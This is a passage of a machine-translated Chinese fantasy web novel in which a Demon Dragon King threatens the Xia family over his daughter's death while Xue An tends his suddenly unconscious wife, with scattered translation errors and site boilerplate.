    And if such a fat sheep slipped away in front of him, Boss Liu would not let him go.


    Therefore, under the careful planning of the three, Xia Yi has become a lamb to be slaughtered, but Xia Yi has no idea about it.


    Just when the whole Wuwangya was plunged into chaos because of Zhang''s sudden destruction.


    In the depths of the dark sea, a huge palace stands impressively.


    now.


    In the palace, an old dragon with a size of ten thousand feet and entrenched like a mountain suddenly opened his eyes.


    A black flame burned among a pair of huge dragon eyes, and then roared to the sky.


    "Who is it! Who would dare to kill my daughter?"


    The huge roar of the dragon shook the world, causing all the dragons in the sea of ??darkness to tremble and crawl down their bodies, not even daring to lift their heads.


    Because the one who was angry at this moment was the supreme king of the Demon Dragon clan, the Dragon King Demon Litu.


    Mo Li Tu is now burning with anger, because on the bloodline sacred tree located in the middle of the temple, the branch that belongs to his daughter Mo Chunqing suddenly withered.


    There are only two possibilities. One is that someone has sealed off his daughter by a forceful method, but this possibility is very small, because if you want to use this method, it is not only to defeat your own daughter. Even better than the blood of the dragon clan.


    And this is almost impossible.


    The second possibility is that someone completely killed his daughter.


    This is what Molitu is worried about.


    Because this possibility is small, but in this dark place, everything can happen.


    What''s more, now that Paradise Lost is about to open, the dangerous elements in the heavens are gathered here, and it is hard to say that there will be no strong ones.


    But the more so, the more Moli Tu was furious.


    Because he has occupied this dark sea for thousands of years, and his strength is even comparable to the existence of the fairy king.


    Even the big people in Paradise Lost must be polite to themselves.


    But this time, the life and death of the prostitute whom he valued most was uncertain, how could this not make Mo Litu furious.


    "Go and check what''s going on? I want to know everything in the shortest time!" Molitu''s head was raised high The huge body wandered in the palace, and finally the tree The bloodline **** tree is firmly guarded in it.


    In any case, Molitu must first protect his bloodline lineage through this method.


    "Follow the decree of my king!" Several dragons all responded, and then they flew out of the palace and scattered.


    This time, Mo Li Tu did not wait too long.


    However, within an hour, a dragon guard flew back into the palace.


    "Return to my king, it has been found out that the young lady went to Wuwang Cliff, and also took away ten dragon guards, but now they have no news!"


    "Wuwangya? Is the place of the rich family members of the Zhang Family?" Mo Litu shouted coldly.


    "Yes!"


    "Check again, I want to know what the **** is going on! Who on earth is in Wuwangya who dares to attack my daughter!"


    "Yes!"

 Chapter 1579： Dragon True Language

    In fact, for these dragons living in the dark sea, it is not difficult to find out the news in the dark cities.


    Not to mention those forces that secretly took refuge in the dragon clan, many of the dragons simply turned into human forms, penetrated into the dark city, and acted as agents.


    Therefore, within half a day, a detailed intelligence message spread into the palace.


    After Mo Litu finished watching, there was another roar.


    "Xia Family! I didn''t expect that you ants would dare to attack my daughter secretly, and I will crush your corpses!"


    Speaking of this, Mo Li Tu has been dazzled by extreme anger.


    Because judging from the information returned, it was obvious that his daughter was already horrible.


    If it was said to have died in the hands of a certain mighty power, Molitu could barely accept it.


    But now his daughter died in the hands of the Xia family, and it is very likely that he died in a despicable sneak attack. This is like a catalyst, making the anger in Mo Li Tu''s chest burn.


    The entire sea of ??darkness trembled under Mo Li Tu''s anger.


    Mo Litu''s body hovered in the air, then suddenly opened his mouth and said a true dragon clan.


    This true language is born with blood, full of infinite majesty.


    Once the cast is carried out, the upper person in the blood will have complete control over the lower person.


    So when the Dragon King Molitu uttered this truth, the abyssal dragons all over the Dark Sea immediately turned around and rushed towards the palace together.


    at the same time.


    Before the huge dragon head of Mo Li Tu, an illusory figure appeared.


    The figure seemed to exist, but it could be vaguely seen to be a man with a majestic face.


    He raised his hand and wrote a slip in the air, and then shouted grimly.


    "Come here, send this letter to Wuwangya and declare it in public, saying that I will give them three days, and after three days I will hand over the culprit who killed my daughter. I can spare the Xia family and the whole Wuwang. There is a path to life, if not, kill!"


    "Follow the king''s order!"


    A magic dragon led away.


    Mo Litu raised his huge dragon eyes, scanned the surroundings, and saw that countless abyssal dragons were constantly coming here, and he couldn''t help but sneer.


    "How dare to kill my daughter, this time I will be bloodied to Wuwangya, let everyone know what the end of fighting against my dragon clan!"


    In recent days, the territory under the jurisdiction of the Xia family has become more and more lively.


    Wuwangya, and even other dark city forces, are all coming in, all wanting to find out the inside story of this matter, especially the unknown peerless master, who is valued by all parties.


    In this situation, the place where the headquarters of the Xia family was located showed a strange kind of prosperity.


    The spies from various forces gathered here, and various methods were emerging in an endless stream, all trying to spy out some useful intelligence.


    Xia Zheng had anticipated this early, so he started the arrangement early. Everyone in the Xia family was not allowed to enter and leave at will, let alone disclose any news to outsiders.


    Under such strict precautions, the efforts of all parties have almost failed.


    Xue An, who lives in Xia''s family, was not disturbed either.


    Just under the cover of this chaos, the disguised Xia Yi led Mr. Liu and the three of them, crossing the street in a light car and coming to a secret courtyard.


    It��s not too far away from the Xia��s mansion, but at the same time it��s hidden in the street. It��s very unobtrusive, and it��s a good place to stay quiet.


    This is also one of Xiayi''s industries.


    Although Xia Yi is a standard dude, he also knows that everything has to be left behind. Zheshu


    This courtyard was secretly left behind by him, but he didn''t expect it to be used now.


    "Master Liu, this is where we live these days, please come in!" Xia Yi said respectfully.


    Boss Liu looked at this secluded courtyard and nodded in satisfaction, "Well, that''s good! It''s a good place to keep quiet, Xiaoxia, I didn''t expect you to have this snack machine!"


    After a few days of contact, or flicker.


    Xia Yi had long believed in the identity and strength of the three men.


    Therefore, he was also "promoted" for Xiao Xia, whom Mr. Liu said.


    Xia Yi was actually a little excited when he heard an adult calling himself that, and nodded repeatedly and said, "Your honor is too good!"


    Boss Liu smiled complacently, and then walked into this courtyard with his hands on his back.


    Because of the dust prevention beads, the room is very clean.


    Boss Liu sat on the head and said lightly: "Xia Xia, you brought us here for a long time, who are you going to kill?"


    A look of resentment appeared in Xia Yi''s eyes, he pondered for a moment, and then said softly: "My lord, this man is very cunning. I don''t know if he is still here, so I can''t tell you who it is for the time being!"


    Boss Liu just asked casually like this, of course he wouldn''t be so stupid to go to work for Xia Yi.


    It''s just that the oil and water on Xia Yi''s body hasn''t been drained yet, so he will follow.


    So when he heard Xia Yi''s words, Mrs. Liu smiled slightly, "Well, after this time of getting along, I found that you are a good boy. When you find an enemy, I will get rid of him by myself!"


    Xia Yi was overjoyed, "Thank you, sir!"


    Standing behind Boss Liu, the two pointed-mouthed monkey cheeks and triangular eyes who did not speak the whole time looked at each other, and both saw the admiration in each other''s eyes.


    Unexpectedly, after so many years, the boss''s flicker skills have not faded, but have become more powerful.


    When you look at this foolish hat, you almost find a shrine to confess the boss.


    It seems that the boss is right, the two of us are still far behind, and we need to study diligently in many places!


    Just as the two sighed secretly in their hearts, there was a sudden chaos outside.


    "It''s a dragon!"


    "My God, how could the magic dragon suddenly appear here?"


    These shouts came and went one after another, many of them spread into this courtyard.


    Several people were startled, and immediately got up and went to the door, looking up.


    really.


    I saw a dragon with a body length of thousands of feet and did not know when it came to the sky. At this moment, it was swaying its body, overlooking the crowd.


    hiss!


    Boss Liu secretly took a breath.


    The shadow that this thing left on him is too big Even after so long, after seeing it again, he still feels a little weak in his calves.


    Unlike him, Xia Yi''s eyes lit up after seeing this magic dragon, and the whole person became excited.


    Because he had a faint hunch, the purpose of this magic dragon''s coming here is obviously not simple.


    really.


    Seeing that the city below was completely boiling and the streets were crowded with people, the magic dragon who was ordered to report to him raised his head and looked up at himself. He couldn''t help but blow his nose in satisfaction, and then said vigorously.


    "Where is the Xia family?"


    Https://


    Only one second to remember the address of this site:. Mobile version reading URL:

 Chapter 1580： The sound of the dragon faintly shook in 4 fields

    The dragon''s voice was faint, shaking in the wild.


    The originally boiling city quieted down instantly.


    Then I heard a soft drink from the Xia family mansion, "Patriarch Xia is here!"


    Following the voice, I saw Xia Zheng and the elders of the Xia family flying up and coming to the sky.


    There was a slight commotion among the crowd.


    Xia''s face was solemn, staring at the magic dragon coldly, "But I don''t know what''s the matter with the Xia family?"


    Xia Zheng''s tone was very cold.


    Because he was not a fool, he naturally knew that there would be a magic dragon visiting at this moment, which would never be a good thing.


    But this is the end of the matter, of course the Xia family will not back down.


    What''s more, the Xia family that the Demon Dragon helped the Zhang family suppress before nearly wiped out the door. Such hatred also made Xia Zheng dislike these black loaches!


    The magic dragon looked up and down Xia Zheng''s eyes, then grinned, and Jiejie laughed strangely.


    "You are the Patriarch of the Xia Family?"


    "Yes, I am!"


    "Very good." The magic dragon nodded, and said in a serious tone: "I am a close attendant under the seat of the Lord of the Dragon King. This time, I am specially appointed by the Lord of the Dragon King to write down!"


    boom!


    After hearing the three words of Devil Dragon King, there was an uproar in the audience.


    For these people living in this dark city, of course they will not be unfamiliar with the three words Demon Dragon King.


    It has been entrenched in the sea of ??darkness for thousands of years, and even those adults in Paradise Lost have to be polite.


    I didn''t expect it to be shocked this time!


    Now things seem a bit big.


    Naturally, Xia Zheng''s complexion changed when he heard this, but as the Patriarch, even if his heart was shaken, he didn''t show the slightest strangeness on the surface, just said in a deep voice.


    "Oh? Book? What book?"


    The magic dragon sneered, "Naturally it is about your Xia family!"


    Along with the voice, a slip exuding glaring black inflammation appeared on its forehead.


    Immediately afterwards, an image of a man with horns and a majestic demeanor appeared on the slips of the book.


    I saw the man shout in a rumbling voice: "I am the Dragon King Demon Li Tu. My daughter fell by the hands of your Xia family. Now I will give you three days to hand over the murderer. I can also spare your life. Otherwise, I will The blood-stained cliff makes everyone pay their lives for my daughter!"


    When the words fell, the illusion disappeared, and the book was reduced to streamer and flew in front of Xia Zheng.


    Then the magic dragon smiled coldly at Xia Zheng, "Patriarch Xia, in three days, my king will be there, and I hope you can do it yourself by then!"


    After all, it turned around, shook its body, and disappeared into the sky in an instant.


    Xia Zheng looked at the back of the devil dragon away, her eyes shone with brilliance, and her expression was extremely solemn.


    As for the audience, it was a dead silence.


    Because this fact is so amazing that many people''s brains are in a state of downtime.


    "Patriarch!" Parent Xia yelled anxiously.


    Xia Zheng shook slightly, then took a deep breath, raised his hand to take the letter slip suspended in front of him, and then solemnly said: "Let''s go!"


    After that, he led the Xia family and returned to the mansion.


    When they left, the audience was silent for a moment, and then it boiled completely.


    "What! Three days later, the Demon Dragon King actually wanted to **** Wuwang Cliff!"


    "Yeah! If the Xia Family does not hand over the murderer, then the entire Wuwang Cliff will burn life!" Someone said with a worried expression.


    "I think how can the Xia family dare to risk the world? So he will definitely hand over the murderer!"


    "Tsk tusk, even the Devil Dragon Princess dared to kill, how bold is this unknown master?"


    "No matter how bold it is, it''s useless to be stared at by the Demon Dragon King, he is no different from the dead!"


    But there was also that timid whisper.


    "I think we have to escape from here now!"


    "Escape? Where to escape? Can you still escape from Wuwang Cliff?" Someone sneered.


    "What should I do? Just wait for death like this?"


    "Everything depends on what the Xia family does!"


    Suddenly, all kinds of discussions were raging, and the news spread at an extremely terrifying speed, instantly sensationalizing the entire Wuwang Cliff.


    In the small courtyard.


    Xia Yi looked up blankly.


    Gradually, an extremely happy smile appeared on his face, and then he burst into laughter.


    "Hahahaha, I didn''t expect you to have today, and now even the Devil Dragon King has spoken himself, I see how arrogant you are now!"


    While talking, Xia Yi''s tears fell again, but even so, he still grinned and laughed.


    The three of Mr. Liu looked at each other, all bewildered by Xia Yi''s current state.


    The sharp-mouthed monkey''s cheeks leaned forward, lowered his voice and said, "Boss, isn''t this kid crazy?"


    Triangular eyes also said, "Yes, this is crying and laughing. Could it be that the brain is stimulated? Or let''s..."


    A look of ruthlessness appeared in the triangular eyes.


    Boss Liu shook his head, "Don''t be so anxious, this kid is still worth using!"


    At this moment, Xia Yi finally stopped the laughter, and then fell to his knees with a plop and knocked his head at Boss Liu.


    Boss Liu''s eyes moved slightly, but he still looked calm and breezy on the surface, and he calmly accepted the worship of Xia Yi.


    Xia Yi raised his head, blood stains appeared on his forehead, but his eyes were full of excitement, and the whole body was shaking with excitement.


    "My lord, the enemy I want to kill is in this Xia family, and it will be clear after three days. I hope my lord can help!"


    Boss Liu was moved when he heard the words, and then nodded, "No problem, it''s just the price..."


    Xia Yi immediately took out a few pieces of the best spirit crystals and handed them over, "My lord, this is the deposit. As for the others, I will offer them after the work is done!"


    Boss Liu stared at these spiritual crystals intently, his saliva almost flowed out, and he nodded and said, "It''s easy to talk and talk..."


    Then he couldn''t wait to pick up these few spirit crystals and went back to his house.


    Xia Yi didn''t notice this. He was walking back and forth in the courtyard with excitement, stopped abruptly, and then whispered with a sneer.


    "With Xia Zheng''s temperament, he would never hand over the surname Xue, so it is most likely that he will send this Xue An away three days later, and that will be the best time to do it. Up!"


    "The surname is Xue, at this moment Wuwangya almost everyone is looking forward to your death!"


    "The right time, the right place, and the people are here with me. I see how you can fight with me!"


    At the end, a sullen and spiteful smile appeared on his face.


    As he expected, the Xia family at this moment was shrouded in a cloud of misery.


    Everyone bowed their heads and remained silent.


    Because everyone knows what it means.


    The Devil Dragon King, that is comparable to the existence of the Immortal King!


    Https://


    Only one second to remember the address of this site:. Mobile version reading URL:

 Chapter 1581： Interrogation

    The notice it personally issued was equivalent to driving the Xia family to the cusp of the storm.


    Even sitting in the room, Xia Zheng could imagine how many pairs of eyes were staring at him at the moment, staring at the Xia family.


    All because of the Demon Dragon King''s sentence, if you don''t hand over the murderer, you will stain Wuwangya with blood!


    This sentence is simply too cruel.


    Invisibly placed the Xia Family in a position opposed to all the forces in Wuwangya.


    It can be said that the Xia Family has been under tremendous pressure without any effort, and this also shows the sinister intention of the Demon Dragon King to write the letter.


    Of course, this is not a method without breaking the game. For example, as long as the person is really handed over, then the Xia family will not only survive the disaster, but also can legitimately occupy all the territory of the Zhang family, which can be described as a double effect.


    But the question is... can you hand it in?


    In fact, from the beginning to the present, in Xia Zheng''s mind, there hasn''t been the slightest idea of ??giving Xue An out.


    It''s not that I dare not, but I never thought about it.


    And not just him, no one of the Xia family present had mentioned this matter.


    Everyone has tacitly ignored this issue.


    After a long silence, Xia Zheng raised his head and asked the people around him.


    "Has Qier not come back yet?"


    A housekeeper shook his head, "Not yet!"


    As soon as she finished speaking, she saw Xia Qi hurriedly walk in, and then shook her head gently at her father.


    "I just went to the back to see it, my lord is not in his room!"


    This sentence caused a commotion in the audience.


    "Miss, can you see clearly?"


    Xia Qi was pale and nodded solemnly, "I searched it carefully, and found no trace of the adult at all! That is to say..."


    Xia Qi smiled bitterly, and said with difficulty: "My lord is missing!"


    Everyone''s complexion changed, and the atmosphere in the field became extremely depressed.


    Everyone originally pinned their last hope on Xue An.


    Unexpectedly, this adult suddenly disappeared strangely.


    This blow made many people completely desperate.


    "Could it be that the adults saw that the situation was not good, so just... leave without saying goodbye?" Someone whispered.


    "Impossible!" Xia Qi immediately replied decisively, and then looked at the speaker with disgust.


    "And you seem to be mistaken about one thing, that is that this incident was originally caused by our Xia family, and the adults are helping us! So now we are encountering difficulties, do you just slander him like that?"


    The face of the talker turned red, and he lowered his head and dared not say anything again.


    Xia Zheng waved his hand when he saw it, "Okay, I don''t want to hear this again in the future!"


    The speaker hurriedly bowed, "It''s the Patriarch, humble and know it''s wrong!"


    Xia Zheng ignored this person, but looked around the audience with a solemn expression, and said in a deep voice: "What is the current situation, I don''t need to introduce more. It can be said that the Xia family is facing a huge dilemma!"


    "But no matter what, we can''t give in!"


    "This matter started because of my Xia family, so we naturally want our Xia family to decide on their own, so no matter whether the adults are present or not, we must not complain! You can hear you understand?"


    "Yes!" everyone responded in unison.


    These words floated in the field, and a lot of people''s expressions were lifted, especially Xia Qi, with tears in his eyes.


    "Go down first!" Xia Zheng waved his hand.


    Everyone retreated silently.


    In an instant, Xia Zheng and Xia Qi were left in the room.


    Xia Qi said excitedly: "Father, you did a great job in this matter!" You have a fate book.


    Xia Zheng smiled bitterly and shook his head, "What is good? I just did a normal thing!"


    "The problem is that many people can''t even do such normal things!" Xia Qi said with a smile.


    Xia Zheng smiled, and then sighed softly, "I ask myself if I am not a good person, but the bottom line is still there! Qi''er, you have to keep this in mind, no matter how the external situation changes, be a human being. But the bottom line must not be lost, otherwise, how are we different from that beast?"


    Xia Qi nodded solemnly, "Yes! Boy understands!"


    Xia Zheng smiled and beckoned to Xia Qi, "Come here, let me see for my father!"


    Xia Qi stepped forward, Xia Zheng examined it for a while, then lovingly reached out and patted Xia Qi''s head.


    "Unexpectedly you are so old!"


    Xia Qi was startled slightly, and suddenly felt something wrong with the tone of her father''s words.


    At this moment, Xia Zheng said indifferently: "Qier, the future Xia family will be handed over to you young people!"


    "Father, you..." Xia Qi felt more shocked, just about to say something.


    Xia Zheng raised his hand and pressed it between Xia Qi''s eyebrows, and the surging divine thought instantly sealed her soul.


    Xia Qi looked at her father with a shocked expression on her face, and then slowly fell to the ground.


    Xia Zheng looked at his daughter silently, with a look of regret in his eyes, "Qi''er, I know you will hate me in the future, but being a father is also compelling. I can''t just watch the Xia family cut off! This is a bad move!"


    "I also know that this is cruel to you and the young people in the Xia family. After all, you have never shouldered such a heavy responsibility on your shoulders, but the situation is urgent, everything can only be so!"


    Speaking of this, a female housekeeper walked in from outside and hugged Xia Qi on the ground.


    "Patriarch!" the female housekeeper whispered.


    Xia Zheng turned away and waved his hand gently.


    The female housekeeper took Xia Qi and retired.


    Then the elders of the Xia family walked in one by one from another door.


    There was silence in the lobby.


    After a long time, Xia Zheng wiped the corners of his eyes lightly, and said lightly: "Everything is arranged?"


    These elders nodded one after another, "All arrangements have been made! Escorted by the confidants, these children have already set off!"


    Xia Zheng nodded, "That''s good! In this way, even if we are all dead, the Xia family will not perish!"


    At this moment, I saw a letter slip across the sky and appeared in front of Xia out of thin air.


    Xia Zhengzhan''s expression sank.


    "Patriarch, what''s the matter?" an elder asked.


    Xia Zheng said solemnly: "It''s a letter from the Wuwangya Palace family, asking us whether the Xia family has caught the murderer, and saying that if you can''t hand over the murderer after three days, don''t blame them for being impolite!"


    As soon as these words came out, these elders were all angry.


    "Too much deception! My Xia family affairs have never been related to their palace family!"


    "That''s right, a small family still dare to say that you are not polite to my Xia family?"


    Just as everyone was clamouring for it, streamers flew from outside the window, and then books simply appeared in the field.


    In an instant, dozens of book slips floated in the air, and the scene was spectacular.


    All the elders stopped talking because at this moment, almost all the forces in Wuwangya sent a letter to the Xia family.


    Don''t ask, it''s all questions of nature.


    Such scenes silenced them all.


    Xia Zheng was also silent, but it was only after a long time that a murderous smile gradually appeared on his face.


    "The Devil Dragon King hasn''t arrived yet, just a word, does it scare you like this?"


    "Then I want to see, after three days, how can you be rude to my Xia family!"


    Please remember the domain name of this book��s first publication:. The fastest mobile version update URL:

 Chapter 1582： Small building

    So where did Xue An go now?


    Of course he did not leave Wuwangya.


    In fact, he didn''t even get out the door of the room.


    The reason everyone couldn''t find it was just because he had already returned to the Fubao Xiaolou at this moment.


    We must know that with the gradual improvement and strength of the rules in Fubao Xiaolou, it has become a world of its own.


    Once you enter it, you will lose contact with the surrounding world.


    This is also the reason why Dragon King Molitu saw that the branch of the bloodline **** tree that represented his daughter suddenly withered.


    Because this isolation is so powerful, even the connection between bloodlines can be severed.


    At this time, Xue An stood in front of the dragon egg that Xiaosha had transformed, his eyes flickering, as if he was thinking about something.


    Zhang Xiaoyu couldn''t help it anymore, and asked quite excitedly: "My lord, have you caught a new dragon again?"


    Xue An smiled and nodded, "Yes! And there is more than one!"


    With that said, Xue An flipped his wrist, and the bracelet made of a magic dragon appeared in his palm.


    Zhang Xiaoyu''s eyes lit up, "That''s great! Hurry up and condense these guys into magic dragon blood beads!"


    Xue An shook his head, "Of course I must condense, but not now!"


    Zhang Xiaoyu was taken aback, "My lord, what do you mean?"


    Xue An said calmly: "I just suddenly had a better idea. If it succeeds, although Xiaosha cannot be resurrected, it can greatly increase the upper limit of Xiaosha''s bloodline!"


    "So, these magic dragons can''t die yet!"


    With that, Xue An gently stroked the bracelet and released a restriction.


    As the most powerful existence in the bracelet, Mo Chunqing took the lead in recovering some.


    Then they struggled frantically.


    Because although she was prohibited and oppressed, she couldn''t do anything, but she was sane.


    So she heard the conversation between Xue An and Zhang Xiaoyu before.


    Especially when she heard the words of condensing the blood bead of the devil dragon, she took a breath of air.


    For the Devil Dragon, once it turned into a blood ball, Demon Chunqing couldn''t know what it meant.


    So when she sensed that the restriction had loosened a little, she immediately began to struggle frantically, and yelled at the same time.


    "What the **** do you want to do? Let go of me, I am an unparalleled dragon princess. If you really dare to kill me, my father will definitely break you into pieces!"


    These words sounded very bluffing, but at this moment, it seemed that Mo Chunqing was very embarrassed.


    At least Xue An just smiled faintly, "Okay, stop shouting! You should be very clear that in this place, even if you break your throat, it is useless, so I advise you to be honest, otherwise I will Shaking hands, you may have to die now!"


    As soon as Xue An''s words fell, Mo Chunqing closed his mouth immediately.


    But after a while, she couldn''t help but once again said in a deep voice: "My lord, I think there must be some misunderstandings between us. Why don''t you let me go first, and I promise to give you a satisfactory answer! What do you think? ?"


    "Oh? A satisfactory answer? Let me hear it! If it really satisfies me, I can''t let you go!" Xue An said with interest. Feiyang Novel


    Mo Chunqing was overjoyed upon hearing this, and hurriedly said: "My lord, as long as you can let me go, my dragon clan can give you a huge fortune! What do you think?"


    "A huge amount of wealth?" Xue An repeated with a smile, his words full of coldness.


    Mo Chunqing felt a little bit in her heart, and immediately understood, she said quickly: "You see I am really confused, my lord, your strength is amazing, and your cultivation level is overwhelming. Naturally, you won''t be able to see any wealth, but if you let me go, I My father will be grateful for your kindness. When the time comes, with the help of my dragon clan, you will be unimpeded in everything you do in Wuwangya and even the entire dark place! What do you think?"


    I have to say that this Mo Chunqing''s eloquence is quite good, and he is very accurate in human nature.


    The two conditions promised are wealth and power, and they are both things that many people dream of.


    If you change to someone else, you might be really moved by Mo Chunqing''s conditions.


    But Xue An didn''t even blink his eyes after listening, just smiled faintly.


    "Sounds really good! But..."


    There was a cold look in Xue An''s eyes, "If I want these things, I can get them by myself. Why use your magic dragon''s help?"


    Mo Chunqing was startled.


    Xue An lightly weighed this magic dragon bracelet, and continued: "What''s more, as I said before, your greatest value is to be a bait! Because what I am really interested in...but you are the dragon clan!"


    Mo Chunqing was shocked, all the scales all over his body were rattling, just about to say something.


    But Xue An obviously didn''t want to listen to her anymore, and with the palm of his hand, the restriction that had just been removed was filled up again.


    Mo Chunqing felt her whole body instantly stiff, and she could only look at Xue An in despair. The hatred and resentment in her eyes were almost overflowing, as if she was asking why Xue An wanted to kill the Demon Dragon clan.


    Xue An didn''t care at all when he saw it, and just said indifferently: "I know there must be a lot of dissatisfaction in your heart now, but these are all your blame, and all the causes have been planted when you acted arbitrarily. I''m just taking it back!"


    After all, Xue An waved his hand and the bracelet turned into a streamer, and then hovered above Xiaosha''s dragon egg.


    After doing all this, Zhang Xiaoyu, who was on the side of Xue An, smiled slightly, "I''ll leave it to you here, remember to take good care of this bracelet!"


    Zhang Xiaoyu''s excited tentacles flew around, nodding like garlic, "Don''t worry, my lord, I promise to complete the task without any mistakes!"


    "Mistake?" Xue An smiled and shook his head. "There is nothing wrong. The worst is that these dragons will be completely absorbed by Xiaosha if I can''t wait for my refining!"


    Zhang Xiaoyu nodded without understanding, "Oh, that''s how it is!"


    Xue An laughed and laughed, "Which is it? You said it as if you really understood it!"


    Zhang Xiaoyu was embarrassed and stuck out his tongue, just about to say something.


    At this moment, Xue An''s complexion changed abruptly and exclaimed, "Yan''er?"


    Following the voice, he rushed out like a cannonball. Wherever he passed, the wall collapsed and the house was full of smoke.


    Zhang Xiaoyu was also taken aback, not knowing what happened, and hurriedly followed.


    A few minutes ago after time went back, it was when Xue An was wondering how to use the dragon clan to pave the way for Xiaosha''s awakening.


    An Yan is teaching two little girls to write calligraphy in the front living room.


    At that time, An Yan could be regarded as a schoolmaster, especially with good handwriting.


    Now that I have a daughter, I will inherit this fine tradition.


    The two little girls are also very serious in learning, and because of their unusual talents, they have written in just a few days.


    Https://


    Only one second to remember the address of this site:. Mobile version reading URL:

 Chapter 1583： Anyans Seal

    An Yan watched quietly from behind, correcting from time to time, but more often he was secretly happy.


    She really deserves to be her own daughter, she is so small and her writing is so beautiful!


    Hu Ying, who was sitting on the sofa not far away, naturally saw this scene, especially when she noticed the unconcealable smug look on An Yan''s face, she couldn''t help but feel a little funny.


    Sister Yan looks really cute now.


    But at this moment, An Yan suddenly felt black in front of her eyes.


    This feeling is overwhelming and progressing very fast.


    However, after a while, An Yan felt that the sky was spinning, and he wanted to help the table in front of him, but he fell to the ground, so he threw himself to the ground.


    This sudden scene naturally frightened the two little girls.


    "Mom, what''s wrong with you?"


    "Mom, are you okay!"


    The two little girls cried out crying.


    Hu Ying was even more shocked, and immediately rushed to the front, just about to move An Yan lying on the ground.


    At this time, Xue An, who had crashed several walls in a row, finally arrived.


    "Don''t move her!" Xue An shouted.


    Hu Ying immediately retracted her hand.


    At the same time, Xue An has rushed to the front.


    The two little girls turned pale with fright, and said to Xue An with tears.


    "Dad, mom, she was fine just now, and suddenly it was like this!"


    Xue An reluctantly suppressed the emotions in his heart, and said in a deep voice: "Don''t be afraid to miss you, dad is here, mom will be fine!"


    With that said, Xue An squatted down and didn''t immediately move Anyan, but first carefully observed the situation of Xia Anyan with his mind.


    At this time Zhang Xiaoyu also arrived.


    But no one dared to speak, the room was terribly quiet.


    After a long time.


    Xue An finally let out a sigh of relief.


    "How is it?" Hu Ying asked anxiously.


    Xue An''s face sank like water, "Because of the seal!"


    "Seal?" Hu Ying exclaimed.


    Xue An nodded.


    The complexions of everyone present were embarrassed to look.


    Everyone naturally knew that there was a seal on An Yan.


    But after so long without incident, people thought that the seal should have disappeared.


    Even if it does not disappear, it should not be a major problem.


    But I never expected that something happened suddenly at this time.


    "What should I do? Mom will do anything?" Thinking about it, he cried.


    Nian-nian didn''t speak, because her tears had already burst.


    Xue An lightly patted the heads of the two little girls, and said with a serious face: "I miss you, don''t cry! There will be nothing wrong with my mother if my father is there, don''t you still believe your father?"


    The two little girls gradually stopped crying, and then nodded solemnly. Schoolbag novel


    "Dad, of course we believe in you!"


    Xue An gently picked up An Yan, who was unconscious, then walked into the room and put her on the bed.


    After settling down, the two little girls no longer noisy, but rather behaved in front of the bed.


    Xue An calmly comforted a few words before turning around and walking out of the room.


    But the moment when the door was closed, the expression on Xue An''s face instantly turned blue.


    Hu Ying immediately greeted him, and said with concern: "Brother Xue, is there anything wrong with Sister Yan?"


    Xue An shook her head, "It''s okay. Now all of her conditions are normal. It''s just that there was a slight change in the seal, which caused her to become unconscious, but I have passed a spiritual thought, so at most several days Circumstances, she will wake up!"


    After hearing this, Hu Ying took a breath, and then a dangerous light flashed in her eyes, and said in a cold voice: "Brother Xue, who is the seal on Sister Yan?"


    Xue An shook his head lightly, and said with a sinking face: "I don''t know yet! But from the aura, it should be a seal placed by an immortal king!"


    "The fairy king?" Hu Ying was stunned, and then said bitterly: "Even in the heavens, the fairy king can be regarded as a strong one. Why does such an existence have to deal with sister Yan?"


    "I also thought about this problem, but now I don''t want to! Because for whatever reason, no matter who the opponent is, he is dead!"


    When he said this, Xue An was extremely calm, without even the slightest wave on his face.


    But Hu Ying, who is familiar with Xue An''s habits, knows that when Xue An speaks in this plain tone, he has actually sentenced him to death.


    Since then, no matter the ends of the world, no matter how many twists and turns, Xue An will kill the person who seals Anyan.


    And this kind of demeanor also made Hu Ying feel fascinated. It was very difficult to take her eyes off Xue An, and then asked: "Then Brother Xue, are there any clues now?"


    "Clues? Of course!" Xue An smiled coldly, "I was thinking just now, Yan''er neither broke through the realm, nor did she fight with others, why did she suddenly touch the seal and fell into a coma?"


    "Yes! Why?" Hu Ying also frowned in confusion.


    "There is only one reason, and that is that we are now very close to the person who sealed Yan''er. Only in this way can the seal be touched for no reason!"


    Hearing what Xue An said, Hu Ying was shocked, "Brother Xue, you mean... Paradise Lost?"


    Xue An shook his head, "It''s still not sure, but even if it''s not in Paradise Lost, it should be not far from us!"


    Speaking of this, Xue An raised the corner of his mouth, revealing a cold smile, "So I am looking forward to the day when I see each other. I will definitely entertain her and give her a surprise!"


    Just when the whole Fubao Xiaolou was cast over by Anyan''s sudden fainting.


    The external situation is getting worse.


    Almost all the forces in Wuwangya jumped out and accused one after another, asking the Xia Family to hand over the murderer as soon as possible.


    Some of them even clamored that if the Xia family couldn''t give everyone a satisfactory answer, then when the three-day period expires, don''t blame everyone for being rude to the Xia family.


    But no matter how restless the various forces are, the Xia family has never responded.


    It was not until the next day that the Xia family issued an announcement.


    The content of the announcement is very simple, only one sentence.


    The Xia family''s affairs, the Xia family will end it themselves!


    When this announcement came out, all parties were in an uproar.


    Someone who fanned the flames thought that this was purely Xia''s excuse, and was therefore extremely dissatisfied.


    Among them, several enthusiastic people, relying on the large number of people on their own side, actually rushed into the Xia family mansion in public, clamoring for the Xia family to explain to everyone.


    But before these people crossed the door, the Xia family dispatched its elite men and killed them all on the spot.


    The blood flowed down the steps, and the strong smell of blood calmed many hot heads.


    Until then, many people remembered that the Xia family was also a powerful person!


    So the arrogance of these people who were originally very arrogant at this moment has also reduced a lot.


    Under this situation, the three-day period finally arrived.


    Https://


    Only one second to remember the address of this site:. Mobile version reading URL:

 Chapter 1584： Dragon Siege

    From this morning, the whole Wuwang Cliff was in an extremely depressing atmosphere.


    All forces are waiting silently.


    Xia Yi is naturally no exception.


    From the morning, he was in a state of extreme excitement.


    This made him restless, and he would go out to see the situation almost within a quarter of an hour.


    In this situation, Triangular Eye couldn''t help but quietly ask Boss Liu, "Boss, when shall we leave?"


    "Don''t worry, take a look again!" Boss Liu looked Zhizhu in his hands.


    In fact, he knew very well that now they can''t go far even if they go.


    Because the Demon Dragon said very clearly, if the Xia Family can''t give them a satisfactory answer, then Wuwang Cliff will be blood washed, and people like him will probably have to be buried with them.


    Instead of that, it is better to watch the developments here.


    What''s more, Boss Liu is still thinking about the good things from Xia Yi that have not been squeezed out.


    Just under this weird atmosphere of different thoughts.


    But outside the city of Wuwangya, a black line appeared in the distant sky.


    Immediately afterwards, the black thread flew here at a terrifying speed.


    Suddenly, I saw black clouds rolling over the city.


    When they got close, everyone could see clearly, where was the dark cloud, it was clearly a dense abyssal dragon!


    The number of these dragons is so large that they can''t be seen at a glance.


    At the front of the team, a big shot was erected.


